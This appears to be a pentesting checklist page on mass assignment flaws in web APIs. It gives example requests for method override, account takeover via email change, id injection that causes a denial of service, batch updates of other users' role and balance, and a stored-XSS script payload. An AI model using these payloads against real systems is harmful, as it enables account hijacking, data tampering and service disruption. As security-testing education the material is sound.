Mass Assignment
Check List
Methodology
HTTP Method Override (PUT) in User APIs
Find API documentation in the target
Check the target API documentation to see if there is a path like api/user or check the API requests in Burp Suite to see if such a path is visible
Make a simple request with a simple GET method and check the request to make sure there are no problems with it
Then make the request as POST and if it gives an error, check to see what methods the Allow header in the response refers to
If the PUT method is present in the Allow response header, change the method to PUT and make the request
If it gives a 400 error, send the content type to application/json and an empty body {}
Then check whether the server response gives an error for missing a parameter
Put the parameter mentioned in the server response into the request, send it, and check whether the server response has changed or not
Then send different numeric or string values such as 1 or Admin into the parameter and if information is extracted in the server response, the vulnerability has been exploited
Account Takeover via Unvalidated Profile Email Change
logging into the application with a normal user account
Once logged in, I accessed the Profile Edit Page, where users can update their personal details such as name, email, and phone number
Using Burp Suite, I intercepted the request sent to the server when updating profile data. The original request looked like this
POST /api/pcsx/profile_edit HTTP/2
Host: example.com
Accept: application/json, text/plain,
{
"op_section": "basic_info",
"operation": "edit",
"op_data": {
"value": {
"firstname": "Test",
"lastname": "1",
"phone": "+2010********",
"location": "anywhere",
"email": "user@gmail.com"
}
}
}Modifying Sensitive Fields: I edited the email field to an arbitrary address (victim@gmail.com), simulating an attack where an attacker hijacks an account by changing the registered email and change the username to victim
POST /api/pcsx/profile_edit HTTP/2
Host: example.com
ccept: application/json, text/plain, /
{"op_section": "basic_info",
"operation": "edit",
"op_data": {
"value": {
"firstname": "victim",
"lastname": "1",
"phone": "+2010********",
"location": "anywhere",
"email": "victim@gmail.com"
}
}
}Sending the Request & Observing the Response
After forwarding the modified request, I received a 200 OK response, confirming that the changes were applied without validation
HTTP/2 200 OK
Content-Type: application/json
{
"data": {
"avatar": "",
"fullname": "Victim 1",
"firstname": "Victim",
"lastname": "1",
"email": "victim@gmail.com",
"location": "anywhere",
"phone": "+2010********",
}
}refreshed the profile page and saw that the email change was applied, proving that there were no validation checks in place. At this point, an attacker could request a password reset to the newly assigned email and gain full control of the victim’s account
Parameter Tampering
Find any "Add", "Create", or "Register" form that sends JSON
Check the request in Burp Suite to locate the main nested object (patient, user, item) and confirm id is not present in the request but appears in the response
Make a normal POST request with valid data and verify the response creates a new record with an auto-incremented id
POST /api/add
{
"user": {
"name": "John",
"email": "john@example.com"
}
}and Response
{ "id": 100, "user": { "id": 100, "name": "John" } }Then inject "id": 999999 inside the nested object ("patient": {"id": 999999, ...}) and send the request
{
"patient": {
"id": 999999,
"firstName": "Test",
"phone": "123456"
}
}If Vulnerable Response
{ "patientId": 999999, "patient": { "id": 999999 } }If the response reflects "id": 999999 in both patientId and patient.id, mass assignment is confirmed
Then inject a very high unused id like 1000000000 and check if the next normal creation skips to 1000000001
{ "user": { "id": 1000000000, "name": "Skip" } }Then inject an extremely large value like 1e99 to trigger a database error and extract the max allowed id (usually 9223372036854775807)
{ "item": { "id": 1e99, "title": "Test" } }Error Example
{ "error": "Value out of range. Max: 9223372036854775807" }Then inject the maximum id value 9223372036854775807 and confirm the record is created
{ "device": { "id": 9223372036854775807, "name": "Last" } }Then attempt to create a new record normally and if it fails with DuplicateKeyException, global DoS is achieved
Insecure Batch API Processing
Find any batch operation API that accepts multiple actions in one request
Check the API documentation or Burp Suite history for endpoints like /api/*/batch, /batch, /bulk, or /api/v1/users/batch
Make a normal PATCH or POST request with a single valid update and verify the response shows success
PATCH /api/v1/users/batch
[
{
"id": 1001,
"operation": "update",
"body": { "email": "test@legit.com" }
}
]Expected Response
[{ "id": 1001, "status": "success" }]Then send a batch request updating multiple user IDs with sensitive fields like email, balance, role, or api_key Example Payload
[
{
"id": 1001,
"operation": "update",
"body": { "email": "hacked1@evil.com", "balance": 10000 }
},
{
"id": 1002,
"operation": "update",
"body": { "email": "hacked2@evil.com", "role": "admin" }
}
]If Vulnerable Response
[{ "status": "success" }, { "status": "success" }]If the response confirms updates on other users' data without authorization, IDOR + Mass Assignment is confirmed
Mass-Assignment Led To Stored-XSS
Find any API endpoint that accepts JSON input and updates or creates chat, widget, or message objects
Check the API documentation or Burp Suite history for endpoints like /api/chat, /api/widget, /api/message, /api/update, or /api/config
Make a normal POST or PATCH request with valid data and verify the response stores the input
POST /api/v1/cache/{id}/invalidate HTTP/1.1
Host: localhost:8080
Content-Length: 54
Content-Type: application/json
User-Agent: PostmanRuntime/7.26.8
Accept: *
Cache-Control: no-cache
Postman-Token: <random-uuid>
Connection: keep-alive
{
"test": "test",
"transactionId": 1,
"key": "chichi4"
}Expected Response
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=UTF-8
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-RateLimit-Limit: 1000
X-RateLimit-Remaining: 999
X-RateLimit-Reset: 1730810744
Content-Length: 297
Date: Wed, 05 Nov 2025 10:07:44 GMT
{
"transactionId": 1,
"quintanaCacheInfo": {
"transactionId": 1,
"cacheName": "testCache",
"operation": "INVALIDATE",
"key": "chichi4",
"Html": "",
"status": "SUCCESS",
"timestamp": 1730810744.123456789,
"nodeId": "node-01",
"result": true
},
"type": 1000,
"success": true,
"message": "Cache invalidated successfully",
"isSuccess": true,
"application": "false",
"timestamp": 1730810744
}Then inject HTML-related fields like html, markup, bodyHtml, or domKey with a test payload
POST /api/v1/cache/{id}/invalidate HTTP/1.1
Host: localhost:8080
Content-Length: 54
Content-Type: application/json
User-Agent: PostmanRuntime/7.26.8
Accept: *
Cache-Control: no-cache
Postman-Token: <random-uuid>
Connection: keep-alive
{
"test": "test",
"transactionId": 1,
"key": "chichi4"
"html": ""><script>alert(1)</script>"
}If Vulnerable Response
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=UTF-8
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-RateLimit-Limit: 1000
X-RateLimit-Remaining: 999
X-RateLimit-Reset: 1730810744
Content-Length: 297
Date: Wed, 05 Nov 2025 10:07:44 GMT
{
"transactionId": 1,
"quintanaCacheInfo": {
"transactionId": 1,
"cacheName": "testCache",
"operation": "INVALIDATE",
"key": "chichi4",
"Html": ""><script>alert(1)</script>",
"status": "SUCCESS",
"timestamp": 1730810744.123456789,
"nodeId": "node-01",
"result": true
},
"type": 1000,
"success": true,
"message": "Cache invalidated successfully",
"isSuccess": true,
"application": "false",
"timestamp": 1730810744
}If the response stores the HTML without stripping, mass assignment to HTML sink is confirmed
White Box
Cheat Sheet
Last updated